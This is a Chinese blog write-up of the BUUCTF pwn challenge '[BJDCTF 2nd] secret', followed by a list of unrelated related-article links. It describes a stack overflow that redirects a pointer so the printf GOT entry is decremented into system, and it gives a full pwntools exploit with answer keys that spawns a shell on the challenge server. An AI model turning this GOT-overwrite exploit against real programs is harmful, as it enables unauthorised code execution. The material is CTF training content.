[BUUCTF-pwn]——[BJDCTF 2nd]secret

这道题目,看就考验你的汇编能力了。

因为在反汇编的过程中,有一个函数过大,无法反汇编
在IDA中看到一个格外令人喜欢的东西,可是if 的条件无法反汇编。

进入汇编查看, 必须要这样下去,才可以往下面一看绝望呀。超级多


最后才给你赋值为0,虽然这样可以暴力破解,但是弄成千上万次,也够麻烦的。想要尝试的朋友可以试试。

既然上面那种方法太过于,笨重。接着看代码,发现

如果我们将printf的got表改为system的plt. 同时 buf写入我们想要的 “/bin/sh" 或者 ” cat flag" 问题也就可以解决。

最后发现他们距离仅仅0x10也就是16

同时,我们发现每次转跳都会执行,


瞌睡了送枕头, 发现里面这个东西每次都会减一而且用的是*, 也就是如果这个是printf_got的话,每次都会让got中的内容减一。

而它距离buf仅仅0x10,完全可以利用栈溢出进行覆盖

思路

修改off_46D090, 为printf_got。
转跳15次,也就是减去16
使得printf_got指向system

exploit

from pwn import *#p = process('./secret')
p = remote('node3.buuoj.cn',26938)
elf = ELF('./secret')
printf_got = elf.got['printf']keys = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]payload = '/bin/sh\x00'.ljust(0x10,'a') + p32(printf_got)
p.sendafter("What's your name?",payload)
for key in keys:p.sendlineafter('Secret:',str(key))
p.sendlineafter('Secret:','5201314')p.interactive()

[BUUCTF-pwn]——[BJDCTF 2nd]secret相关推荐

  1. BUUCTF(pwn)[BJDCTF 2nd]secret

    感觉这道题技巧性比较强 有两次输入 一次名字,一次 密码 先进 46A3AF 这里有一次输入 name 看一下 0x40136D的汇编 这里每次有一次 调用 0x46A329,并且 有一次cmp比较; ...

  2. BUUCTF:[BJDCTF 2nd]EasyBaBa

    题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]EasyBaBa binwalk分析,foremost分离 解压压缩包得到里面都是出题人.jpg 010 ...

  3. BUUCTF:[BJDCTF 2nd]圣火昭昭-y1ng

    题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]%E5%9C%A3%E7%81%AB%E6%98%AD%E6%98%AD-y1ng 新约佛论禅加密 新约佛 ...

  4. ------已搬运-------BUUCTF:[BJDCTF 2nd]假猪套天下第一-----------Header请求头学习!!!

    了解这个:Header:请求头详解.就全都会了.就,, 最水记录,,,, 不足: 1.tmd.抓包瞎jb抓,有登录页面,不知道抓包的时候输入参数,抓输入参数的时候的包,我真吐了,,,哎,怎么能这么傻啊 ...

  5. BUUCTF:[BJDCTF 2nd]假猪套天下第一

    先测试一下admin用户,发现会回弹 在测试一下其他账户,发现会进入 (下面那个root点进去是y1ng师傅的网站) 我们试着抓个包,发现存在着一个提示 打开这个L0g1n.php发现里面是 提示99 ...

  6. [BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2

    [BUUCTF-pwn]--[BJDCTF 2nd]ydsneedgirlfriend2 题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]ydsneedg ...

  7. [BUUCTF-pwn]——[BJDCTF 2nd]r2t3

    [BUUCTF-pwn]--[BJDCTF 2nd]r2t3 题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3 题目: 先将文件下载下来,chec ...

  8. buuctf pwn wp(第四波)格式化字符串漏洞系列

    这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...

  9. [BJDCTF 2nd] Web复现 wp

    文章目录 [BJDCTF 2nd] fake google [BJDCTF 2nd]old-hack [BJDCTF 2nd]假猪套天下第一 [BJDCTF 2nd]duangShell [BJDCT ...

最新文章

  1. C语言下标要求数组或指针,c语言改错 error C2109: 下标要求数组或指针类型怎么改?...
  2. shell中uniq与sort -u 两种去重的对别
  3. 数据操纵语言(DML)
  4. 深究angularJS——(上传)FileUploader中文翻译
  5. Linux中文显示乱码?如何设置centos显示中文
  6. 【机器学习】UMAP:强大的可视化降维工具
  7. 下面不是mysql特性_下面( )不是MySQL的特性。_学小易找答案
  8. Java String compareTo()方法与示例
  9. Linux工作笔记-两Linux系统互传文件(使用SSH)
  10. Random()中具体实现(含种子数组的实现)
  11. matlab线性串联校正,基于MATLAB串联超前校正设计.ppt
  12. RTP audio video profile
  13. 关于服务器耗电量的计算
  14. matlab 快捷键
  15. 相等变为1 编号_量子力学中的线性代数(Qiskit 学习笔记之1)
  16. 在proteus中共阴数码管的驱动与使用
  17. java实现身份证归属地查询
  18. 注册gitlab-runner
  19. 一文看完计算机基础知识总结
  20. 【卷积神经网络环境搭建学习笔记】

热门文章

  1. 把Sql数据转换为业务数据的几种方法
  2. Apache 创建虚拟主机目录和设置默认访问页面
  3. Java Web安全编码
  4. 计算机pc软盘不能数字,老人把遗嘱存5寸软盘难坏家人 老电脑终未读出
  5. [网络安全自学篇] 二十七.Sqlmap基础知识、CTF实战及请求参数设置(一)
  6. HarmonyOS之sdkmgr命令的使用
  7. iOS之常用的正则表达式
  8. 2015年第六届蓝桥杯 - 省赛 - C/C++大学B组 - A. 奖券数目
  9. 征战蓝桥 —— 2016年第七届 —— C/C++A组第7题——剪邮票
  10. 【MFC】Windows窗口样式